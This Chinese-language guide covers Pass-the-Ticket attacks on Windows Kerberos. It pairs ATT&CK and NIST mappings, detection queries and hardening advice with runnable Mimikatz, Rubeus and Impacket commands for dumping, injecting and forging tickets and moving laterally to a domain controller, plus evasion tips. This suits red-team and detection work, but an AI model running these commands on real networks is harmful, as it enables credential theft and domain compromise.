Anthropic-Cybersecurity-Skills 实战指南:Pass-the-Ticket 攻击的技术标准、检测指标与防御映射
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
本篇技术指南以conducting-pass-the-ticket-attack技能的框架标准参考文档为核心,系统讲解 Pass-the-Ticket(PtT)攻击在 MITRE ATT&CK、NIST SP 800-171、CIS Controls 等框架中的技术定位,以及 Kerberos 票据机制与 Windows 安全事件检测指标。文章同时结合该技能目录下的工作流、自动化脚本与检测 Agent 源码,给出从票据提取、注入到横向移动的完整实战流程与可落地的检测/防御方案。读完本文,你将掌握 PtT 攻击的完整战术链条、Mimikatz/Rubeus/Impacket 的核心操作命令、基于 Event ID 4768/4769/4770/4771 的检测规则,以及 Credential Guard、Protected Users 等纵深防御手段。
背景:PtT 在认证替代材料技术家族中的定位
Pass-the-Ticket 属于"使用替代认证材料"这一技术门类。与 Pass-the-Hash(传递哈希)不同,PtT 不依赖密码或哈希,而是直接盗用并重放目标用户已获发的 Kerberos 票据(TGT 或 TGS),从而以票据持有者身份访问服务,全程无需知晓其密码。
在 SKILL.md 的定义中,该技能适用于"从受控主机内存(LSASS)中提取 Kerberos TGT/TGS 票据,并将其注入另一会话以冒充票据所有者"这一场景,属于红队后渗透(post-exploitation)与横向移动的典型动作,同时也可用于验证针对票据窃取与重用的检测能力。该技能的前置要求包括:熟悉红队概念与工具、具备可安全执行测试的实验室环境、Python 3.8+ 及必要依赖、以及任何测试活动的明确授权。
一、MITRE ATT&CK 技术映射:PtT 攻击链的战术坐标
[references/standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)文档将 PtT 攻击链映射到 4 个 ATT&CK 技术节点:
| Technique ID | Name | Tactic |
|---|---|---|
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | Lateral Movement |
| T1003.001 | OS Credential Dumping: LSASS Memory | Credential Access |
| T1558 | Steal or Forge Kerberos Tickets | Credential Access |
| T1021.002 | Remote Services: SMB/Windows Admin Shares | Lateral Movement |
从攻击链视角看,这 4 个节点恰好构成完整闭环:
- T1003.001(LSASS 内存凭据转储)——攻击起点。从受控主机的 LSASS 进程内存中提取 Kerberos 票据,是凭据访问(Credential Access)阶段的动作;
- T1558(窃取或伪造 Kerberos 票据)——中间环节。盗取现有票据(TGT/TGS)或伪造票据(Golden Ticket / Silver Ticket);
- T1550.003(使用替代认证材料:Pass the Ticket)——核心手法。将盗取的票据注入攻击者会话;
- T1021.002(通过 SMB/Windows 管理共享远程服务)——落地动作。借助注入的票据身份访问远程系统的管理共享,实现横向移动。
在技能目录的[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)中,该映射被进一步细化为 YAML frontmatter,同时关联了防御侧框架:
mitre_attack: - T1550.003 - T1558.003 - T1078 nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07 d3fend_techniques: - Token Binding - Execution Isolation - Restore Access - Application Protocol Command Analysis - Process Termination注意mitre_attack中额外列出的T1078(有效账户)与T1558.003(Kerberoasting)——前者指票据注入后以合法账户身份行动,后者则点出服务票据的另一条窃取路径,说明该技能覆盖的不只是单一重放动作,而是围绕 Kerberos 凭据的完整攻防面。防御侧的 D3FEND 技术(Token Binding、Execution Isolation 等)为后文防御章节提供了框架级对策锚点。
二、Kerberos 票据机制:TGT 与 TGS 的核心参数
理解 PtT 必须先理解 Kerberos 的两类票据。[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)给出了核心参数对照:
| Ticket | Purpose | Lifetime | Encryption |
|---|---|---|---|
| TGT (Ticket Granting Ticket) | Authenticates to KDC for TGS requests | 10 hours default | krbtgt NTLM hash |
| TGS (Ticket Granting Service) | Authenticates to specific service | 10 hours default | Service account hash |
关键解读:
- TGT是用户向 KDC(密钥分发中心)申请服务票据时的"通行证",由域控以krbtgt 账户的哈希加密。攻击者拿到高权限用户的 TGT(如 Domain Admin 的 TGT)后,即可在票据有效期内持续向 KDC 申请任意服务的 TGS;
- TGS是针对特定服务(如 CIFS、LDAP、HTTP)的票据,由服务账户哈希加密。攻击者可以定向盗取目标服务(如域控的 CIFS 票据)的 TGS 来实现精准横向移动;
- 两者默认生命周期均为10 小时,这意味着从 LSASS 转储出的票据在当日内都具备可用性。这也解释了为何 workflows.md 的 OPSEC 提示将"票据有有限生命周期(TGT 默认 10 小时)"列为首要注意事项。
在 api-reference.md 中,与票据加密类型相关的检测常量进一步细化为:
| Value | Algorithm | Concern |
|---|---|---|
| 0x17 | RC4-HMAC | Downgrade attack indicator |
| 0x12 | AES-256 | Expected modern encryption |
| 0x11 | AES-128 | Acceptable encryption |
0x17(RC4-HMAC)是检测黄金票据/银票据的关键信号:现代域环境默认应使用 AES 加密(0x12/0x11),若出现 RC4 加密的 TGT/TGS 请求,往往意味着攻击者使用 RC4 密钥(NTLM 哈希)伪造了票据,或试图降级加密协议。检测 Agent([scripts/agent.py](https://link.gitcode.com/i/b14ed0c4ed955abd029b557b7ce7e600))正是基于这一常量实现自动告警(详见后文)。
三、PtT 攻击完整工作流:从票据提取到横向移动
3.1 三阶段工作流总览
[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)将整个攻击过程划分为三个阶段:
Phase 1: Ticket Extraction(票据提取)
- 在目标工作站获取本地管理员权限
- 使用 Mimikatz 或 Rubeus 从 LSASS 内存转储 Kerberos 票据
- 以 .kirbi 格式(Mimikatz)或 base64 格式(Rubeus)导出票据
- 甄别高价值票据(Domain Admin TGT、指向关键系统的服务票据)
Phase 2: Ticket Injection(票据注入)
- 清除攻击者会话中现有的 Kerberos 票据
- 将盗取票据导入/注入当前会话
- 验证票据已加载且有效
- 使用注入票据访问目标资源
Phase 3: Lateral Movement(横向移动)
- 以盗取票据身份访问远程系统
- 以被冒充用户身份执行操作
- 从已访问系统收集更多凭据
- 记录成功横向移动的证据
3.2 工具矩阵与核心命令
[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)给出了核心工具对照表:
| Tool | Purpose | Command |
|---|---|---|
| Mimikatz | Ticket export/import | sekurlsa::tickets /export, kerberos::ptt |
| Rubeus | Ticket dumping and injection | dump, ptt, tgtdeleg |
| Impacket ticketConverter | Convert between formats | ticketConverter.py ticket.kirbi ticket.ccache |
| Impacket psexec/smbexec | Remote execution with ticket | KRB5CCNAME=ticket.ccache psexec.py |
[workflows.md](https://link.gitcode.com/i/6cf6cc3d681574896d6b049f3c50325c)进一步将工具使用细化为 4 个可复制的实战工作流:
Workflow 1:Mimikatz 提取与注入(Windows 侧)
# 从 LSASS 转储所有 Kerberos 票据 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" # 列出导出的 .kirbi 文件 dir *.kirbi # 甄别高价值票据(Domain Admin TGT) # 查找形如 [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi 的文件注入前必须先清除会话中现有票据,避免旧票据干扰身份冒充:
mimikatz.exe "kerberos::purge" "exit" # 或使用系统自带工具 klist purge # 导入盗取的票据 mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit" # 验证票据已加载 klist票据加载成功后即可访问目标资源:
# 以被冒充用户身份访问文件共享 dir \\dc01.domain.local\c$ # 远程执行命令 PsExec.exe \\dc01.domain.local cmd.exe # 访问管理共享 copy payload.exe \\dc01.domain.local\c$\windows\temp\Workflow 2:Rubeus 票据操作(Windows 侧)
# 转储所有票据(需要本地管理员权限) .\Rubeus.exe dump # 按 LUID 转储指定登录会话的票据 .\Rubeus.exe dump /luid:0x3e4 # 提取当前用户 TGT(无需管理员权限,利用 TGT 委派技巧) .\Rubeus.exe tgtdeleg # 从 base64 注入票据 .\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket... # 使用票据创建"牺牲进程"(不污染当前会话,OPSEC 更佳) .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticketcreatenetonly是 Rubeus 的重要 OPSEC 特性:它启动一个仅使用注入票据的全新进程,避免覆盖会话中已有的合法票据,降低被发现的概率。
Workflow 3:Linux 侧 PtT(Impacket)
# 将 .kirbi 转换为 .ccache impacket-ticketConverter ticket.kirbi ticket.ccache # 设置票据环境变量 export KRB5CCNAME=ticket.ccache # 使用 Impacket 工具链进行横向移动 impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local # 列出可访问的共享 impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local-k -no-pass组合是 Impacket 使用 Kerberos 票据认证的关键参数:-k表示使用 Kerberos 认证,-no-pass表示不要求密码(票据中已包含认证信息),配合KRB5CCNAME环境变量指向票据文件。
Workflow 4:Silver Ticket(伪造 TGS)
# Mimikatz 创建银票据(需要服务账户 NTLM 哈希) mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit" # Rubeus 创建银票据 .\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /pttSilver Ticket 与盗票重放的区别在于它完全不经过 KDC——攻击者使用已知的服务账户 NTLM 哈希(RC4)直接离线伪造 TGS 并注入会话,因此绕过 KDC 审计,检测难度显著更高。
3.3 OPSEC 注意事项
[workflows.md](https://link.gitcode.com/i/6cf6cc3d681574896d6b049f3c50325c)总结了执行 PtT 时的关键 OPSEC 考量:
- 盗取票据有有限生命周期(TGT 默认 10 小时),需在有效窗口内完成利用;
- TGT 从不同 IP 重放可能触发高级检测(这正是 Event ID 4770 的核心检测逻辑);
- Silver Ticket 完全绕过 KDC,更难被检测;
- 使用 Rubeus
createnetonly避免覆盖合法票据; - 关注 Credential Guard——它会保护内存中的 Kerberos 票据;
- 部分 EDR 方案会监控票据注入行为。
四、检测指标:Windows 安全事件 ID 与自动检测 Agent
4.1 核心事件 ID 对照
[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)给出了 PtT 检测的核心事件 ID 表:
| Event ID | Description | PtT Indicator |
|---|---|---|
| 4768 | TGT Request | Unusual source IP for known user |
| 4769 | TGS Request | Service access from unexpected host |
| 4770 | TGT Renewal | Renewal from different IP than original |
| 4771 | Kerberos Pre-Auth Failed | May indicate ticket reuse attempts |
结合 api-reference.md 的补充,事件 ID 的检测价值可以进一步细化:
| Event ID | Description | Relevance |
|---|---|---|
| 4768 | Kerberos TGT request | Golden ticket detection (RC4 = 0x17) |
| 4769 | Kerberos service ticket request | Silver ticket / Kerberoasting |
| 4770 | Kerberos service ticket renewed | Ticket reuse indicator |
| 4771 | Kerberos pre-auth failed | Password spray detection |
| 4624 | Successful logon | Correlate with ticket usage |
4.2 检测 Agent 的自动化实现
仓库中的[scripts/agent.py](https://link.gitcode.com/i/b14ed0c4ed955abd029b557b7ce7e600)将上述检测指标实现为可直接运行的 Python 检测 Agent,其核心检测逻辑如下:
for event in events: eid = str(event.get("EventID", "")) if eid == "4768": if event.get("TicketEncryptionType") == "0x17": detections.append({... "type": "TGT_request_rc4", "severity": "HIGH", "note": "RC4 TGT request may indicate golden ticket", ...}) elif eid == "4769": if event.get("TicketEncryptionType") == "0x17": detections.append({... "type": "service_ticket_rc4", "severity": "MEDIUM", "note": "RC4 service ticket — potential Kerberoasting or PTT", ...}) elif eid == "4624": if event.get("LogonType") == "3" and event.get("AuthenticationPackageName") == "Kerberos": detections.append({... "type": "network_logon_kerberos", ...})该 Agent 将检测规则落地为三个层次:
- 事件分析:4768 出现 RC4 加密的 TGT 请求标记为 HIGH 严重度(黄金票据信号);4769 出现 RC4 服务票据标记为 MEDIUM(Kerberoasting 或 PtT 信号);4624 的 Kerberos 网络登录(LogonType 3)标记为 INFO 用于关联分析;
- Sigma 规则生成:自动生成两条检测规则——"Pass-the-Ticket via RC4 Encryption Downgrade"(检测 EventID 4768/4769 + TicketEncryptionType 0x17,映射
attack.lateral_movement/attack.t1550.003)与"Anomalous Kerberos TGT Request from Non-Domain Controller"(排除本地回环地址,映射attack.credential_access/attack.t1558); - 狩猎查询生成:同时输出 Splunk 与 KQL 两种查询语法,例如:
# Splunk index=wineventlog EventCode=4768 TicketEncryptionType=0x17 | stats count by Account_Name, src_ip index=wineventlog EventCode=4769 ServiceName!="krbtgt" TicketEncryptionType=0x17 | table _time Account_Name ServiceName # KQL SecurityEvent | where EventID == 4768 | where TicketEncryptionType == "0x17" | summarize count() by TargetAccount, IpAddress SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" | project TimeGenerated, TargetAccount, ServiceName运行方式:python agent.py --log-file events.json --output ptt_detection_report.json,其中--log-file接受 Windows 安全日志的 JSON 导出。
五、框架对齐:NIST SP 800-171 与 CIS Controls
[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)还将 PtT 攻击与两个合规框架对齐,用于指导防护侧的控制项落地:
5.1 NIST SP 800-171 控制项
- 3.5.1:识别系统用户及代表用户行事的进程——对应清理不必要的服务账户、管理票据缓存中的高权限主体;
- 3.5.2:允许访问前对身份进行认证——对应加强 Kerberos 预认证(禁用可预认证绕过),确保访问控制建立在真实认证基础上;
- 3.1.1:将系统访问限制在授权用户范围内——对应最小权限原则与网络分段,压缩票据被盗后的横向移动半径。
这三项控制分别从"主体识别""认证强制""访问限制"三个层面防御 PtT:即使票据被盗,也必须满足身份认证与访问授权的前置条件,从而缩小票据重放的攻击面。
5.2 CIS Controls
- Control 6: Access Control Management——访问控制管理,对应通过 Protected Users 组、最小权限、特权账户隔离等手段减少高价值票据的暴露面;
- Control 8: Audit Log Management——审计日志管理,其核心子项即是"监控 Kerberos 认证事件",对应 Event ID 4768/4769/4770/4771 的持续采集与分析。
在技能目录更宏观的层面,SKILL.md 的 frontmatter 还将该技能映射到 NIST CSF 2.0 的 ID.RA-01(识别风险)、GV.OV-02(治理监督)与 DE.AE-07(异常活动分析),说明该技能同时服务于风险识别、治理监督与检测响应三类安全职能。
六、验证标准与报告模板
6.1 技能验证清单
[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)给出了该技能执行成功的验收标准:
- Kerberos tickets extracted from compromised host
- Tickets injected into attacker session
- Lateral movement demonstrated using stolen tickets
- Evidence captured for reporting
6.2 自动化报告生成
仓库中的[scripts/process.py](https://link.gitcode.com/i/37786451b7306015e6b239d248dbf159)将整个 PtT 流程封装为多模式 CLI 工具,支持extract、inject、lateral、convert、analyze、report六种模式:
python process.py --mode extract --target workstation01 python process.py --mode convert --input ticket.kirbi --output ticket.ccache python process.py --mode lateral --ticket ticket.ccache --target dc01.domain.local python process.py --mode report --output ptt_report.md值得关注的两个内置能力:
- 票据格式转换(
convert模式):基于impacket.krb5.ccache.CCache实现 .kirbi 与 .ccache 双向转换,与impacket-ticketConverter功能等价,但集成了 rich 终端美化输出与错误降级提示(未安装 impacket 时提示手动命令); - .kirbi 票据解析(
analyze模式):通过基础 ASN.1 结构识别(文件头\x76\x82/\x61\x82)与可见字符串提取,自动推断票据的 realm 与 service 字段,帮助快速甄别高价值票据。
report模式生成的报告遵循[assets/template.md](https://link.gitcode.com/i/7c3c0d28ea296be5c76756bc9d9c7021)的框架,包含文档控制信息、票据提取明细(来源主机/方法/高价值票据)、票据详情(用户/类型/服务/过期时间/加密)、横向移动结果(目标/访问级别/方法/证据)与推荐整改措施,并包含 MITRE ATT&CK 映射表,可直接用于红队交付物。
6.3 报告中的防御建议
无论是自动化报告还是模板,均收敛为以下七条核心防御建议:
- 启用Credential Guard,保护内存中的 Kerberos 票据(使 LSASS 转储难以提取票据);
- 对特权账户实施Protected Users 安全组(禁用 RC4 加密、延长票据重认证频率);
- 部署LSASS 保护(RunAsPPL),阻止非特权进程访问 LSASS;
- 监控Event ID 4769的异常服务票据请求;
- 缩短特权账户的 TGT 生命周期,压缩票据重放的时效窗口;
- 实施网络分段,限制横向移动半径(对应 NIST 3.1.1);
- 部署具备凭据窃取检测能力的高级 EDR。
七、结论
Pass-the-Ticket 攻击的本质,是将"持有票据"等同于"具备身份"的 Kerberos 信任模型加以滥用。从 MITRE ATT&CK 视角,它横跨凭据访问(T1003.001 / T1558)与横向移动(T1550.003 / T1021.002)两大战术阶段;从检测视角,RC4 加密降级(0x17)与事件 ID 4768/4769/4770/4771 的异常模式是核心抓手;从防御视角,Credential Guard、Protected Users、LSASS 保护与审计日志监控共同构成纵深防线。
本文所依据的[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)提供了框架层面的技术坐标,而配套的 SKILL.md、workflows.md、api-reference.md 与 scripts/ 目录则提供了从命令执行到自动检测、再到报告生成的一体化支撑,使该技能在红队模拟、紫队检测验证与安全评估场景中均可直接落地。
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考